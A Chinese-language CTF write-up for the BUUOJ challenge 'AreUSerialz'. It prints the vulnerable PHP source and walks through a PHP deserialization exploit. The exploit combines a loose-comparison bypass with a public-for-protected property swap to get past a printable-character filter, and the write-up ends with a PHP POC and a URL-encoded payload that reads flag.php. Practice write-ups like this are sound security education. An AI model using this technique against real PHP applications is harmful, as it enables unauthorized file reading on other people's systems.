Buuoj|AreUSerialz

知识点

  • PHP代码审计和语言特性

  • PHP反序列化及绕过

解题过程

进入题目直接给出代码

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}


public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}



private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");
else $this->output("Failed!");

} else {
$this->output("Failed!");
}
}



private function read() {

$res = "";

if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}

return $res;

}



private function output($s) {

echo "[Result]: <br>";
echo $s;

}


function __destruct() {

if($this->op === "2")
$this->op = "1";

$this->content = "";
$this->process();
}

}



function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;

return true;
}



if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {
$obj = unserialize($str);
}
}

可以看到flag应该在被包含的flag.php文件中.分析代码可以看见,从url中传入的str参数会被反序列化,而FileHandler类的实例销毁时会调用process方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

function __destruct() {

if($this->op === "2")
$this->op = "1";

$this->content = "";
$this->process();

}

public function process() {

if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}

}

process()方法又会根据op属性来进行文件的读写操作

1
2
3
4

private function read()
private function write()

因此可以思考出一个大体思路:通过str传入一个恶意的序列化的FileHandler实例,从而达到文件读取的目的

想要读取文件,需要op参数为"2",而__desctruct()会在检测到op为"2"之后将其改为"1"

可以注意到process()中对于op参数的比较使用的是弱类型比较,而__destruce()中则为严格比较,可以考虑利用这一点来绕过销毁函数中的if条件

pop链构造

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
class FileHandler {

protected $op = 2;
protected $filename = "./flag.php";
protected $content = "";
}

$a = new FileHandler();
$str = serialize($a);

echo urlencode($str);



然而得出的exp并不能够打成功,这时候需要注意到过滤输入的 is_valid()这个函数

1
2
3
4
5
6
7
8
9
10

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;

return true;
}

限定了字符串内的字符ASCII32-125之间,这之中是不包含NULL空字符的,而php的反序列化格式中如果属性的访问控制为protected,则序列化后的字段名前面会加上NULL*NULL来标识其是protected的属性,所以这里需要利用PHP的反序列化的机制来绕过

1
2
3

当实例字符串被反序列化时,解释器将寻找其所属的类并根据类来还原实例,实例的属性的访问限制类型与类中的不同时,将以类中的访问控制类型为准,因此如果实例字符串中使用public,但类声明中使用protected时,还原后的实例的属性将仍以类声明中的protected为准

所以考虑把protected改为public,让解释器自己来将其改为protected,从而达到绕过的目的

真实的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
class FileHandler {

public $op = 2;
public $filename = "./flag.php";
public $content = "";

}

$a = new FileHandler();
$str = serialize($a);
echo urlencode($str);

这次可以打成功

/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D

最后有个小坑,flag被放在注释里,需要f12查看